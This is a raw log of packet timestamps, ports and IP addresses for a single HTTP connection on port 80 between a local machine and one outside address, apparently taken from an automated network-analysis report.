Feb 5, 2024 10:57:21.992820978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992830038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992834091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992861032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992865086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992878914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992889881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992906094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992933035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992934942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992948055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992963076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992974043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992985010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.992990971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.992997885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993017912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993033886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993072987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993084908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993096113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993105888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993118048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993128061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993129969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993141890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993146896 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993168116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993196011 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993216991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993228912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993238926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993249893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993261099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993262053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993274927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993280888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993287086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993302107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993302107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993314028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993325949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993333101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993338108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993361950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993371010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993374109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993385077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993393898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993397951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993411064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993412018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993432045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993437052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993484020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993495941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993506908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993519068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993524075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993530989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993544102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993556976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993560076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993570089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993582010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993609905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993626118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993662119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993675947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993686914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993697882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993710041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993720055 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993721962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993736982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993736982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993748903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993760109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993762016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993762016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993772984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993786097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993798018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993798971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993809938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993820906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993822098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993834972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993849039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993855953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993856907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993861914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993880987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993901968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993916988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993928909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993938923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.993958950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.993978024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994013071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994025946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994036913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994048119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994060040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994066000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994072914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994083881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994087934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994100094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994100094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994112968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994123936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994136095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994148970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994159937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994159937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994159937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994174004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994184971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994189978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994203091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994203091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994214058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994226933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994230032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994240046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994251966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994256973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994263887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994281054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994287968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994297028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994302988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994338036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994347095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994349003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994362116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994371891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994383097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994386911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994395018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994410992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994435072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:21.994466066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994478941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994491100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:21.994525909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.024600029 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.024653912 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225600958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225626945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225639105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225656033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225670099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225682020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225693941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225698948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225707054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225722075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225790977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225794077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225794077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225805044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225819111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225850105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225869894 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225883961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225909948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225924969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225939035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225951910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225955963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225970030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225984097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.225985050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.225999117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226012945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226015091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226027966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226039886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226042032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226056099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226064920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226070881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226084948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226100922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226124048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226128101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226138115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226151943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226181030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226212025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226226091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226239920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226253033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226254940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226265907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226279020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226293087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226305008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226305008 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226320028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226332903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226347923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226351976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226361036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226373911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226382971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226388931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226402044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226413965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226414919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226428986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226433039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226444006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226457119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226459980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226497889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226499081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226515055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226531029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226545095 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226557970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226571083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226572037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226619959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226619959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226635933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226680040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226823092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226841927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226854086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226870060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226882935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226891041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226896048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226910114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226917982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226924896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226938009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226938009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226950884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226963043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226977110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.226984024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.226989985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227003098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227010965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227019072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227031946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227032900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227046013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227050066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227060080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227072954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227076054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227087021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227102995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227116108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227116108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227129936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227142096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227143049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227158070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227161884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227173090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227183104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227188110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227200031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227212906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227225065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227229118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227238894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227271080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227272987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227272987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227283955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227303028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227315903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227314949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227329969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227341890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227355003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227366924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227371931 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227380991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227396011 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227407932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227420092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227423906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227436066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227447987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227459908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227469921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227471113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227483988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227497101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227504015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227511883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227523088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227524042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227538109 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227540016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227552891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227562904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227566957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227582932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227586031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227596045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227611065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227622032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227627039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227642059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227648020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227654934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227669001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227683067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227690935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227706909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227719069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227720022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227732897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227746010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227755070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227758884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227777958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227799892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227807999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227821112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227833033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227844954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227854013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227858067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227873087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227885008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227896929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227910995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227924109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.227931976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.227937937 CET	80	49735	91.215.85.120	192.168.2.4
